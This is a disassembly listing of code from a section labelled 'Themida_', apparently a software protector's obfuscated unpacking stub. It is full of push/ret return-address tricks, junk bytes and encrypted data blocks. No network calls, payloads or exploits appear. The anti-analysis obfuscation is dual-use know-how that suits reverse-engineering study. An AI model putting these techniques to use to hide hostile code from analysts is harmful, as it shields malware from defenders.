; ---------------------------------------------------------------------------
dw 0ECC1h
; ---------------------------------------------------------------------------
jle short loc_58AA84
aad 22h
fcom dword ptr [eax-75h]
mov ebp, 61008C1h
pop edi
loc_58AA71: ; CODE XREF: Themida_:0058AA13j
jmp loc_58AF31
; ---------------------------------------------------------------------------
dw 6Ah
dd 3E855h, 5D200000h, 6C895DC3h
; ---------------------------------------------------------------------------
loc_58AA84: ; CODE XREF: Themida_:0058AA64j
and al, 4
add dword ptr [esp+4], 1Ch
inc ebp
push ebp
retn
; ---------------------------------------------------------------------------
db 55h, 9, 30h
dd 0A6F66527h, 0CF818CB0h, 66B4D971h, 70E600B0h, 0E851006Ah
dd 3, 59C35920h, 4244C89h, 4244481h, 16h, 6CC35141h, 5E51AE29h
dd 16A1BD8Bh, 71E40610h, 0E855006Ah, 3, 5DC35D20h, 4246C89h
dd 4244481h, 16h, 2DC35545h, 0B60F520Dh, 55006AD8h, 3E8h
dd 0C35D2000h, 246C895Dh, 24448104h, 1404h, 0C3554500h
dd 0BD8BF97Bh, 6101B61h, 6BAh, 53006A00h, 3E8h, 0C35B2000h
dd 245C895Bh, 24448104h, 1B04h, 0C3534300h, 4BBE4AA8h
dd 0E0B88F35h, 0F3B70F51h, 6AC38B5Fh, 3E85000h, 20000000h
dd 8958C358h, 81042444h, 1A042444h, 40000000h, 0C00AC350h
dd 0F5BFC366h, 5B58B05h, 0C106101Dh, 858904E8h, 610191Dh
dd 1915BD89h, 0F7660610h, 26BE66E2h, 6AD82BB7h, 3E85200h
dd 20000000h, 895AC35Ah, 81042454h, 18042444h, 42000000h
dd 40AC352h, 93CEB407h, 5E9h, 0FDFBE200h, 50500D7Dh, 5E852h
dd 0C79F0000h, 0FB922FCh, 80h, 310F5E00h, 6A93585Ah, 3E85300h
dd 20000000h, 895BC35Bh, 8104245Ch, 14042444h, 43000000h
dd 0F6EC353h, 0B5FFF7B7h, 6100055h, 10B18501h, 8B660610h
dd 0C995FFFAh, 6A061031h, 3E85500h, 20000000h, 895DC35Dh
dd 8104246Ch, 15042444h, 45000000h, 0C7A5C355h, 1D758589h
dd 81660610h, 0B0AF69F6h, 54BE6600h, 6A70E68Bh, 3E85700h
dd 20000000h, 895FC35Fh, 8104247Ch, 15042444h, 47000000h
dd 77A0C357h, 0E4FBB70Fh, 0FE871h, 143E0000h, 355C0E91h
dd 1A6F3BEAh, 0A3E4AF1Dh, 58C0FE9h, 0BE000000h, 5EB2CB40h
dd 0C681665Fh, 613C9705h, 2BB830Fh, 6A0000h, 3E856h, 5E200000h
dd 74895EC3h, 44810424h, 140424h, 56460000h, 8B0FE2C3h
dd 0
; ---------------------------------------------------------------------------
movzx ebx, al
push 0
push ebp
call sub_58ACA6
and [ebp-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_58ACA6 proc near ; CODE XREF: Themida_:0058AC9Ep
arg_4 = dword ptr 8
pop ebp
mov [esp-4+arg_4], ebp
add [esp-4+arg_4], 19h
inc ebp
push ebp
retn
sub_58ACA6 endp
; ---------------------------------------------------------------------------
or al, 11h
test [esi], dh
sub [eax], eax
mov edi, [ebp+61032C5h]
mov edx, 6
push 0
push ecx
call sub_58ACD2
and [ecx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_58ACD2 proc near ; CODE XREF: Themida_:0058ACCAp
arg_4 = dword ptr 8
pop ecx
mov [esp-4+arg_4], ecx
add [esp-4+arg_4], 14h
inc ecx
push ecx
retn
sub_58ACD2 endp
; ---------------------------------------------------------------------------
dw 0E809h
dd 14h, 69FEB321h, 0C25789B0h, 0A439FC54h, 0A352A0A2h
dd 0DD6E473Fh, 585BD89h, 8B5F0610h, 0E9C38BF8h, 0Eh, 0AA36972Eh
dd 58235347h, 0BDF567F1h, 0E8C1C9EEh, 55006A04h, 3E8h
dd 0C35D2000h, 246C895Dh, 24448104h, 1C04h, 0C3554500h
dd 0CF310AC5h, 0F78A321Dh, 81B5894Fh, 6606101Ch, 6AE2F7h
dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 140424h, 57470000h
dd 0D82BE0C3h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
dd 1Dh, 0A7C35141h, 210CF12Fh, 0F8B6042h, 58F08B81h, 0E856006Ah
dd 3, 5EC35E20h, 4247489h, 4244481h, 15h, 57C35646h, 71BE663Ah
dd 28C0F9Eh, 8B000000h, 0FD82BF2h, 17088h, 55006A00h, 3E8h
dd 0C35D2000h, 246C895Dh, 24448104h, 1C04h, 0C3554500h
dd 0CF9A58A6h, 94F54CECh, 0CF816630h, 7B9FEFDh, 6A000000h
dd 3E85000h, 20000000h, 8958C358h, 81042444h, 1C042444h
dd 40000000h, 2800C350h, 0BA99B7B3h, 5015F8D9h, 31B59D01h
dd 835E0610h, 0F08B00C1h, 860FD93Bh, 109h, 0E856006Ah
dd 3, 5EC35E20h, 4247489h, 4244481h, 1Ah, 81C35646h, 3A239568h
dd 0D3BF547Dh, 6666BC61h, 0BD8BD98Ch, 61000F5h, 0F04C1F6h
dd 0AF84h, 0C995FF00h, 0E806100Dh, 14h, 0FE5BFF01h, 0A8743141h
dd 9E427F89h, 0FFAF3E07h, 0F4D25539h, 27D9B523h, 0BE5F0610h
dd 53A8153Ah, 0D9BD8B5Bh, 2B06101Fh, 56006AC3h, 3E8h, 0C35E2000h
dd 2474895Eh, 24448104h, 1504h, 0C3564600h, 343DF944h
dd 0F000008h, 5386h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah
dd 24448104h, 1D04h, 0C3524200h, 0CEA6C57h, 6BD1DF0h, 89561FC3h
dd 101A859Dh, 0B70F5E06h, 6E8F1h, 98C80000h, 0E8199737h
dd 0DE89BE66h, 2FE95Fh, 0F530000h, 681h, 0EBDE8100h, 5F11109Fh
dd 14E9C08Bh, 90000000h, 0B04BFB90h, 0F67F5D3Bh, 8A7B7F38h
dd 24F49CA6h, 29E2348Ch, 101B2DBDh
; ---------------------------------------------------------------------------
push es
loc_58AF31: ; CODE XREF: Themida_:loc_58AA71j
mov eax, ebx
mov ebx, eax
mov esi, ebx
mov dword ptr [ebp+6100529h], 130CF171h
push 0
push ebp
call sub_58AF4C
and [ebp-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_58AF4C proc near ; CODE XREF: Themida_:0058AF44p
arg_4 = dword ptr 8
pop ebp
mov [esp-4+arg_4], ebp
add [esp-4+arg_4], 17h
inc ebp
push ebp
retn
sub_58AF4C endp
; ---------------------------------------------------------------------------
dd 0DC37D7B6h, 8166C08Bh, 8132BEEFh, 100055BDh, 7D006h
dd 12850F00h, 0B000000h, 10051DBDh, 5585FF06h, 8B061000h
dd 100FC9BDh, 55B5FF06h, 0E9061000h, 0Dh, 16EEE0D6h, 0CB0F7570h
dd 8CB28925h, 0D78166EAh, 95FFFCADh, 61031C9h, 0E850006Ah
dd 3, 58C35820h, 4244489h, 4244481h, 1Bh, 76C35040h, 0E17062ACh
dd 8BF57C71h, 100C7DBDh, 0BFF89006h, 64A1F1F3h, 0C8D0Fh
dd 9D890000h, 6101C25h, 9659D31h, 6A0610h, 3E853h, 5B200000h
dd 5C895BC3h, 44810424h, 140424h, 53430000h, 8D29CCC3h
dd 6101345h, 14E8h, 82F6B900h, 25280296h, 69E46D48h, 8893F72Eh
dd 666597B3h, 7E99Eh, 2FE80000h, 0C8A27C08h, 0BE9C3h, 1FB0000h
dd 0BB82CDE3h, 0B5F692B4h, 0EFBF5F9Eh, 66091F6Fh, 0E8539CBEh
dd 11h, 65BDE20Ah, 1DFD5BD4h, 0F5C62168h, 8C937BD6h, 6860F75h
dd 29000000h, 1006AD95h, 6A5F06h, 3E853h, 5B200000h, 5C895BC3h
dd 44810424h, 140424h, 53430000h, 8D8906C3h, 6100E49h
dd 436DC781h, 6A6A26h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
dd 190424h, 57470000h, 0A26631C3h, 0E846C19Ah, 13h, 0F141BEA0h
dd 0C89D328Eh, 33E4FF84h, 161465FDh, 894CDB0Eh, 10052D85h
dd 49E95F06h, 0BFFFFFF7h, 27541856h, 8B66C18Bh, 4EBF2h
dd 6A000000h, 3E85100h, 20000000h, 8959C359h, 8104244Ch
dd 1D042444h, 41000000h, 2716C351h, 35668A3Bh, 162FF63Ch
dd 2BFFB70Fh, 10286DB5h, 0F08B6606h, 13B9858Dh, 6A0610h
dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1C0424h, 57470000h
dd 0F3AC5C3h, 6084DBC6h, 0BD8B6BBDh, 61009DDh, 0DCEE8166h
dd 32BF903Fh, 5068CF28h, 6A90F78Bh, 3E85600h, 20000000h
dd 895EC35Eh, 81042474h, 17042444h, 46000000h, 0F0E6C356h
dd 6AF357h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
dd 1Dh, 2FC35141h, 3764654Dh, 13836943h, 6A006AA6h, 3E85300h
dd 20000000h, 895BC35Bh, 8104245Ch, 1D042444h, 43000000h
dd 1E13C353h, 603D7150h, 0CAC985FCh, 0AE8h, 26501D00h
dd 0ED392774h, 897180FCh, 10231D95h, 9D895E06h, 6100835h
dd 0FEA3858Dh, 0B5890613h, 610048Dh, 735BD8Bh, 0C0830610h
dd 0BB666005h, 89535678h, 1022658Dh, 89615806h, 10209D95h
dd 8B665006h, 240489F2h, 2AF1BD8Bh, 6A0610h, 7DBD8BF9h
dd 6A061005h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
dd 1B04h, 0C3524200h, 0B8A8BDB7h, 243FAE3h, 310D9D89h
dd 95FF0610h, 6101D19h, 0E855006Ah, 3, 5DC35D20h, 4246C89h
dd 4244481h, 16h, 0C3C35545h, 0B5897AEBh, 61016F5h, 10F9BD8Bh
dd 9D8D0610h, 613AFD8h, 0E851006Ah, 3, 59C35920h, 4244C89h
dd 4244481h, 15h, 13C35141h, 19830F94h, 0E8000000h, 0Dh
dd 7AD3F14Ch, 421FCCE4h, 0A4676AFEh, 61BD8B80h, 5E061021h
dd 6AD3FFh, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1A0424h
dd 53430000h, 846DE8C3h, 735A8C82h, 12830Fh, 0DE90000h
dd 0EF000000h, 4AB4735Eh, 0E79EA282h, 0E2399209h, 141985FFh
dd 89510610h, 100D359Dh, 62E95E06h, 0E8000009h, 0
; ---------------------------------------------------------------------------
pop ebp
sub ebp, 613FEADh
push 0
push edi
call sub_58B32A
and [edi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_58B32A proc near ; CODE XREF: Themida_:0058B322p
arg_4 = dword ptr 8
pop edi
mov [esp-4+arg_4], edi
add [esp-4+arg_4], 17h
inc edi
push edi
retn
sub_58B32A endp
; ---------------------------------------------------------------------------
dw 3D49h
dd 0C68124C8h, 982F81Fh, 55BD81h, 7D00610h, 860F0000h
dd 18Eh, 0B19D8BF5h, 6A06102Ah, 3E85100h, 20000000h, 8959C359h
dd 8104244Ch, 16042444h, 41000000h, 52DEC351h, 0F605381h
dd 88h, 0A1858900h, 61061021h, 0A4C7815Fh, 8175A406h, 100E3h
dd 68D0F00h, 89000000h, 1013F995h, 0FDB0B06h, 0C585h, 50006A00h
dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1C04h, 0C3504000h
dd 0D1DDE2EAh, 65A380BEh, 0F08B667Ah, 0FC80BD83h, 0F000613h
dd 4C84h, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h
dd 1B04h, 0C3504000h, 0D96CBC6Ah, 0D75CD0AAh, 12E8h, 0F4E83100h
dd 3B2CDE40h, 31958699h, 3960A060h, 8B9D9480h, 101FB9BDh
dd 7FE95E06h, 33000000h, 100C99BDh, 8085C706h, 10613FCh
dd 6A000000h, 3E85100h, 20000000h, 8959C359h, 8104244Ch
dd 14042444h, 41000000h, 0FDAC351h, 282h, 0FFA8B00h, 688h
dd 0D5B58900h, 0E9061018h, 3Ah, 311D9D89h, 85C70610h, 613FC80h
dd 0
; ---------------------------------------------------------------------------
push 0
push esi
call sub_58B483
and [esi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_58B483 proc near ; CODE XREF: Themida_:0058B47Bp
arg_4 = dword ptr 8
pop esi
mov [esp-4+arg_4], esi
add [esp-4+arg_4], 16h
inc esi
push esi
retn
sub_58B483 endp
; ---------------------------------------------------------------------------
sbb eax, 0B58BB9A7h
cmc
sub eax, 0BD8B0610h
pop ebp
or [eax], edx
push es
lea ebx, [ebp+6102AB1h]
call near ptr loc_58B4B2+1
mov ah, 50h
aaa
fxch7 st(5)
loc_58B4B2: ; CODE XREF: Themida_:0058B4A8p
mov byte ptr [ebx+1027C9BDh], 6
pop edi
and dword ptr [ebx], 0FFFFFEFFh
push 0
push ebp
call sub_58B4CB
and [ebp-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_58B4CB proc near ; CODE XREF: Themida_:0058B4C3p
arg_4 = dword ptr 8
pop ebp
mov [esp-4+arg_4], ebp
add [esp-4+arg_4], 1Ah
inc ebp
push ebp
locret_58B4DA: ; CODE XREF: Themida_:0058B511j
retn
sub_58B4CB endp
; ---------------------------------------------------------------------------
retn
; ---------------------------------------------------------------------------
xlat
sbb dh, ds:662E3438h
mov ebx, ds
mov di, 283Eh
test bl, 4
jz loc_58B55F
push 0
push ecx
call sub_58B4FD
and [ecx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_58B4FD proc near ; CODE XREF: Themida_:0058B4F5p
arg_4 = dword ptr 8
pop ecx
mov [esp-4+arg_4], ecx
add [esp-4+arg_4], 1Dh
inc ecx
push ecx
retn
sub_58B4FD endp
; ---------------------------------------------------------------------------
db 6Eh, 81h, 2Ah
; ---------------------------------------------------------------------------
cdq
ja short locret_58B4DA
inc esp
test [ecx+6Eh], eax
call dword ptr [ebp+6100DC9h]
push 0
push edx
call sub_58B528
and [edx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_58B528 proc near ; CODE XREF: Themida_:0058B520p
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 16h
inc edx
push edx
retn
sub_58B528 endp
; ---------------------------------------------------------------------------
dd 506EEA86h, 168D0Fh, 0E8560000h, 0Eh, 8C9AAFF3h, 33A7F752h
dd 0CB338A56h, 5E5FCFD9h, 66240489h
db 0BFh, 44h, 0B6h
; ---------------------------------------------------------------------------
loc_58B55F: ; CODE XREF: Themida_:0058B4ECj
jmp loc_58BA75
; ---------------------------------------------------------------------------
push 0
push esi
call sub_58B56F
and [esi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_58B56F proc near ; CODE XREF: Themida_:0058B567p
arg_4 = dword ptr 8
pop esi
mov [esp-4+arg_4], esi
add [esp-4+arg_4], 16h
inc esi
push esi
retn
sub_58B56F endp
; ---------------------------------------------------------------------------
db 7Bh
dd 0EFBFB3E5h, 0B0193D43h, 6A70E600h, 3E85000h, 20000000h
dd 8958C358h, 81042444h, 16042444h, 40000000h, 0CBC3C350h
dd 5E949h, 0F2FA0000h, 0E4E544A7h, 57006A71h, 3E8h, 0C35F2000h
dd 247C895Fh, 24448104h, 1B04h, 0C3574700h, 3847B9EEh
dd 7E6914B6h, 0FF18B66h, 6AD8B6h, 3E855h, 5D200000h, 6C895DC3h
dd 44810424h, 190424h, 55450000h, 469CB8C3h, 6620C96Bh
dd 2C94D681h, 6BAh, 0B98D2900h, 8B061009h, 51006AC3h, 3E8h
dd 0C3592000h, 244C8959h, 24448104h, 1B04h, 0C3514100h
dd 4A488C18h, 7B22B6DEh, 613CBE66h, 6A04E8C1h, 3E85700h
dd 20000000h, 895FC35Fh, 8104247Ch, 1C042444h, 47000000h
dd 0DFECC357h, 8EA3D368h, 0FAB9AACh, 0BD8BF3BFh, 6102095h
dd 8BE2F766h, 102D85BDh, 6AD82B06h, 3E85700h, 20000000h
dd 895FC35Fh, 8104247Ch, 18042444h, 47000000h, 0AF37C357h
dd 93617F7Eh, 0F50F98Bh, 28Eh, 93F18B00h, 0E97DABEh, 55B5FF0Dh
dd 6A061000h, 3E85000h, 20000000h, 8958C358h, 81042444h
dd 18042444h, 40000000h, 0B5BEC350h, 298B3BD6h, 102F399Dh
dd 0C995FF06h, 6A061031h, 3E85100h, 20000000h, 8959C359h
dd 8104244Ch, 16042444h, 41000000h, 89EBC351h, 49BD29C8h
dd 0B006101Dh, 50006A00h, 3E8h, 0C3582000h, 24448958h
dd 24448104h, 1804h, 0C3504000h, 308B73C3h, 8D9D09C9h
dd 0E606100Fh, 57006A70h, 3E8h, 0C35F2000h, 247C895Fh
dd 24448104h, 1504h, 0C3574700h, 8D09FF01h, 610157Dh, 6A71E4h
dd 3E850h, 58200000h, 448958C3h, 44810424h, 1D0424h, 50400000h
dd 2FB436C3h, 9DD99924h, 8947F43Dh, 102161B5h, 61B58B06h
dd 3C06100Dh, 0F2830F61h, 89000002h, 100CA98Dh, 0D8B60F06h
dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Bh, 0A2C35343h
dd 3EFBB595h, 8B57533Bh, 100B09BDh, 6BA06h, 0BD890000h
dd 6101189h, 6AC38Bh, 3E851h, 59200000h, 4C8959C3h, 44810424h
dd 1A0424h, 51410000h, 5C6220C3h, 1C905B89h, 0C1F78B66h
dd 6A04E8h, 3E850h, 58200000h, 448958C3h, 44810424h, 1B0424h
dd 50400000h, 596949C3h, 37C14D53h, 0A1FFBF96h, 0F7665EBAh
dd 57006AE2h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1D04h
dd 0C3574700h, 0C9D8A2ECh, 4F41F427h, 0FE9C87Fh, 0C3000000h
dd 0EE29ACD3h, 0AC2A32FDh, 9CAD6136h, 0D82BF425h, 0E857006Ah
dd 3, 5FC35F20h, 4247C89h, 4244481h, 18h, 49C35747h, 0BC435CFCh
dd 6810Fh, 0B58B0000h, 61004DDh, 56006A58h, 3E8h, 0C35E2000h
dd 2474895Eh, 24448104h, 1B04h, 0C3564600h, 62C5CC8Ah
dd 23ADFE0Fh, 201DB58Bh, 0D82B0610h, 1C7880Fh, 6A0000h
dd 3E850h, 58200000h, 448958C3h, 44810424h, 1B0424h, 50400000h
dd 49EE3DC3h, 88CFF61Ch, 0EFBE66AFh, 1D8589EEh, 0B906100Bh
dd 7, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 19h
dd 3FC35343h, 0B6A91539h, 91B5238Bh, 83061015h, 6A00C1h
dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 190424h, 53430000h
dd 181885C3h, 8B1CBE35h, 101391B5h, 0FD93B06h, 13C86h
dd 0B8BF6600h, 0D98C6628h, 0E851006Ah, 3, 59C35920h, 4244C89h
dd 4244481h, 1Dh, 0D7C35141h, 20A487A6h, 0F69365F2h, 0E840FF4h
dd 0E9000000h, 9, 5ABC386Dh, 0E80BBA83h, 4C1F65Eh, 0D2840Fh
dd 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 190424h
dd 55450000h, 0BED4F2C3h, 0E819E3ADh, 5, 37CD36B0h, 0F0B70FB2h
dd 0C995FF5Fh, 8906100Dh, 100551B5h, 0DE906h, 90060000h
dd 0C0AAA951h, 2052B746h, 5BBA2B90h, 0E851006Ah, 3, 59C35920h
dd 4244C89h, 4244481h, 1Dh, 35C35141h, 2E3A5ADDh, 0AEE13742h
dd 2BFA8B6Eh, 0D1BD8BC3h, 3D061022h, 834h, 4A860Fh, 6A0000h
dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1C0424h, 57470000h
dd 0FE7DB4C3h, 0A1232AF3h, 42E9C0B9h, 6A000000h, 3E85600h
dd 20000000h, 895EC35Eh, 81042474h, 19042444h, 46000000h
dd 4C6CC356h, 1694C375h, 6AC08Bh, 3E852h, 5A200000h, 54895AC3h
dd 44810424h, 170424h, 52420000h, 3F4F01C3h
; ---------------------------------------------------------------------------
push ebx
loc_58BA75: ; CODE XREF: Themida_:loc_58B55Fj
mov eax, ebx
mov ebx, eax
push 0
push eax
call sub_58BA84
and [eax-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_58BA84 proc near ; CODE XREF: Themida_:0058BA7Cp
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 1Ah
inc eax
push eax
retn
sub_58BA84 endp
; ---------------------------------------------------------------------------
dd 13990E44h, 81F6A694h, 799E51F6h, 502FBE19h, 85C77FD6h
dd 6102801h, 5FCCC991h, 0BD8BC08Bh, 6101301h, 55BD81h
dd 7D00610h, 850F0000h, 31h, 0E851006Ah, 3, 59C35920h
dd 4244C89h, 4244481h, 1Dh, 31C35141h, 3B613C0Eh, 6F87E77Ch
dd 5585FFB6h, 29061000h, 10084DB5h, 55B5FF06h, 6A061000h
dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 1C042444h
dd 43000000h, 8B90C353h, 4CD3E35Fh, 1F22F12h, 10007995h
dd 0C995FF06h, 0F061031h, 8Ah, 6A9000h, 3E852h, 5A200000h
dd 54895AC3h, 44810424h, 1B0424h, 52420000h, 72AB62C3h
dd 0E35EDFh, 0DE9CFh, 0AA160000h, 79FDDF27h, 6A0058DCh
dd 8132A989h, 7FB713F7h, 55006A53h, 3E8h, 0C35D2000h, 246C895Dh
dd 24448104h, 1604h, 0C3554500h, 6A341821h, 3E85100h, 20000000h
dd 8959C359h, 8104244Ch, 1D042444h, 41000000h, 53B5C351h
dd 5CF494A9h, 0AF3B2ADBh, 0DCDE8166h, 0CE8166FBh, 56BFEF93h
dd 66195C0Ah, 81B06CBFh, 0BCA4CACFh, 57006A72h, 3E8h, 0C35F2000h
dd 247C895Fh, 24448104h, 1804h, 0C3574700h, 27687332h
dd 0F98BF82Dh, 30B1BE66h, 0DA3E83BEh, 0FEB70F63h, 405BBE66h
dd 0DE9h, 1A164800h, 64F9E22Eh, 0BB48B38Bh, 858993BAh
dd 61027ADh, 1C2719BFh, 81666070h, 0F2408C3h, 987h, 0C18D8900h
dd 6606100Bh, 6061D08Bh, 2785858Bh, 0BD890610h, 61000C5h
dd 0F6CDE961h, 6AFFFFh, 3E856h, 5E200000h, 74895EC3h, 44810424h
dd 1B0424h, 56460000h, 4050C7C3h, 7A94679Ah, 0ED95893Fh
dd 8906100Bh, 102779B5h, 6AC18B06h, 3E85000h, 20000000h
dd 8958C358h, 81042444h, 15042444h, 40000000h, 1E6BC350h
dd 4EBh, 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
dd 180424h, 55450000h, 3552EAC3h, 0F606100h, 158Bh, 10E900h
dd 35AB0000h, 1CD7A5EFh, 0FB7FB844h, 9A727CB8h, 8D8BC771h
dd 6100E81h, 56006A61h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
dd 1B04h, 0C3564600h, 339F5CBh, 0C1F36F2h, 8DF1B70Fh, 1013B985h
dd 56B86006h, 0E83B55B7h, 7, 569035E2h, 66235919h, 59D193BFh
dd 0DBBF5061h, 896A5BF3h, 6A2404h, 0E857006Ah, 3, 5FC35F20h
dd 4247C89h, 4244481h, 19h, 32C35747h, 0AFF27224h, 6880F03h
dd 1000000h, 101D31BDh, 6A006A06h, 3E85700h, 20000000h
dd 895FC35Fh, 8104247Ch, 1B042444h, 47000000h, 0C724C357h
dd 0EEF1A1ABh, 858DB815h, 6140A35h, 8E8h, 7E8C6600h, 13C697BEh
dd 5E50601Bh, 0AE9h, 0C2F39600h, 46F4B658h, 61C7BC73h
dd 5C0835Fh, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
dd 14h, 94C35141h, 58D89h, 95890610h, 6100A49h, 7E890h
dd 28490000h, 0AB2ED5B2h, 13E8DEh, 9C5F0000h, 7349FF7Fh
dd 9793F4A9h, 9BBFE945h, 36905507h, 505E5EEDh, 275017BEh
dd 6A902Eh, 3E850h, 58200000h, 448958C3h, 44810424h, 1C0424h
dd 50400000h, 0E5EC96C3h, 8926BFDEh, 830F883Dh, 0
; ---------------------------------------------------------------------------
push 0
mov [ebp+61020B9h], esi
push 0
mov esi, eax
call dword ptr [ebp+6101D19h]
xor edi, 214202F3h
lea ebx, [ebp+613AFD8h]
mov edi, [ebp+61005FDh]
push eax
pop esi
call ebx
push 0
push eax
call sub_58BE5B
and [eax-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_58BE5B proc near ; CODE XREF: Themida_:0058BE53p
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 1Dh
inc eax
push eax
retn
sub_58BE5B endp
; ---------------------------------------------------------------------------
or al, 0CBh
pusha
mov edx, 7B3BE6CAh
inc esi
mov [edx+5Fh], dl
inc dword ptr [ebp+6101419h]
push 0
push eax
call sub_58BE88
and [eax-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_58BE88 proc near ; CODE XREF: Themida_:0058BE80p
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 15h
inc eax
push eax
retn
sub_58BE88 endp
; ---------------------------------------------------------------------------
dec edx
retn
; ---------------------------------------------------------------------------
xor [ebp+6101425h], edx
jmp loc_58C689
; ---------------------------------------------------------------------------
loc_58BEA5: ; DATA XREF: Themida_:0054E4E8o
call $+5
pop ebp
sub ebp, 6140A3Fh
jmp loc_58BEC0
; ---------------------------------------------------------------------------
dw 0CF24h
dd 7EA1CE56h, 70669F79h
; ---------------------------------------------------------------------------
loc_58BEC0: ; CODE XREF: Themida_:0058BEB1j
cmp dword ptr [ebp+6100055h], 7D0h
jbe loc_58C01F
push 0
push ebx
call sub_58BEDB
and [ebx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_58BEDB proc near ; CODE XREF: Themida_:0058BED3p
arg_4 = dword ptr 8
pop ebx
mov [esp-4+arg_4], ebx
add [esp-4+arg_4], 15h
inc ebx
push ebx
retn
sub_58BEDB endp
; ---------------------------------------------------------------------------
db 7Ah
; ---------------------------------------------------------------------------
cld
mov ebx, [ebp+6102875h]
mov esi, [ebp+61005C5h]
and ebx, 100h
push edi
jmp loc_58BF12
; ---------------------------------------------------------------------------
db 9Fh, 4Fh, 6Dh
dd 9B9EAED1h, 6DE361D4h
db 1Dh, 18h
; ---------------------------------------------------------------------------
loc_58BF12: ; CODE XREF: Themida_:0058BF00j
pop esi
or ebx, ebx
jnz loc_58BFAF
call sub_58BF34
pop ebp
retf
; ---------------------------------------------------------------------------
dw 0B4D3h
dd 0D1DAB56Ah, 0D074B97Dh, 0CCD0BAA6h, 0DC82B4ABh
; =============== S U B R O U T I N E =======================================
sub_58BF34 proc near ; CODE XREF: Themida_:0058BF1Bp
; FUNCTION CHUNK AT 0058BFE2 SIZE 0000001D BYTES
mov esi, [ebp+61011ADh]
pop edi
cmp dword ptr [ebp+614082Bh], 0
jz loc_58BF54
mov [ebp+6102099h], eax
jmp loc_58BFE2
; ---------------------------------------------------------------------------
cld
loc_58BF54: ; CODE XREF: sub_58BF34+Ej
mov dword ptr [ebp+614082Bh], 1
push 0
push edx
call sub_58BF69
and [edx-3Dh], bl
sub_58BF34 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_58BF69 proc near ; CODE XREF: sub_58BF34+2Dp
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 1Ah
inc edx
push edx
retn
sub_58BF69 endp
; ---------------------------------------------------------------------------
push cs
retf
; ---------------------------------------------------------------------------
sub cl, bl
mov dh, 15h
ror byte ptr [ecx+1030AD85h], 1
push es
jmp loc_58BFE2
; ---------------------------------------------------------------------------
push 0
push edx
call sub_58BF96
and [edx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_58BF96 proc near ; CODE XREF: Themida_:0058BF8Ep
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 1Ch
inc edx
push edx
retn
sub_58BF96 endp
; ---------------------------------------------------------------------------
dw 93ECh
dd 64654D2Fh
db 37h, 43h, 69h
; ---------------------------------------------------------------------------
loc_58BFAF: ; CODE XREF: Themida_:0058BF15j
mov dword ptr [ebp+614082Bh], 0
push 0
push ecx
call sub_58BFC4
and [ecx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_58BFC4 proc near ; CODE XREF: Themida_:0058BFBCp
arg_4 = dword ptr 8
pop ecx
mov [esp-4+arg_4], ecx
add [esp-4+arg_4], 16h
inc ecx
push ecx
retn
sub_58BFC4 endp
; ---------------------------------------------------------------------------
dd 661B891Ch, 51B1DE81h, 71B8DE81h
db 0DAh, 1Dh
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58BF34
loc_58BFE2: ; CODE XREF: sub_58BF34+1Aj
; Themida_:0058BF86j
lea ebx, [ebp+6102875h]
mov [ebp+6101651h], esi
and dword ptr [ebx], 0FFFFFEFFh
push 0
push edx
call sub_58BFFF
and [edx-3Dh], bl
; END OF FUNCTION CHUNK FOR sub_58BF34
; =============== S U B R O U T I N E =======================================
sub_58BFFF proc near ; CODE XREF: sub_58BF34+C3p
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 17h
inc edx
push edx
retn
sub_58BFFF endp
; ---------------------------------------------------------------------------
db 0A4h
db 0CCh
db 5Fh, 3Ah, 0Fh
dd 689h, 0C5BD0900h
; ---------------------------------------------------------------------------
or [eax], edx
push es
loc_58C01F: ; CODE XREF: Themida_:0058BECAj
mov bx, ds
jnb loc_58C02E
xor edi, 499A2649h
loc_58C02E: ; CODE XREF: Themida_:0058C022j
jmp loc_58C044
; ---------------------------------------------------------------------------
db 0F0h
; ---------------------------------------------------------------------------
frstor byte ptr [edi-2Fh]
pusha
add [edx+105EFA64h], ah
setalc
push 1F5A390h
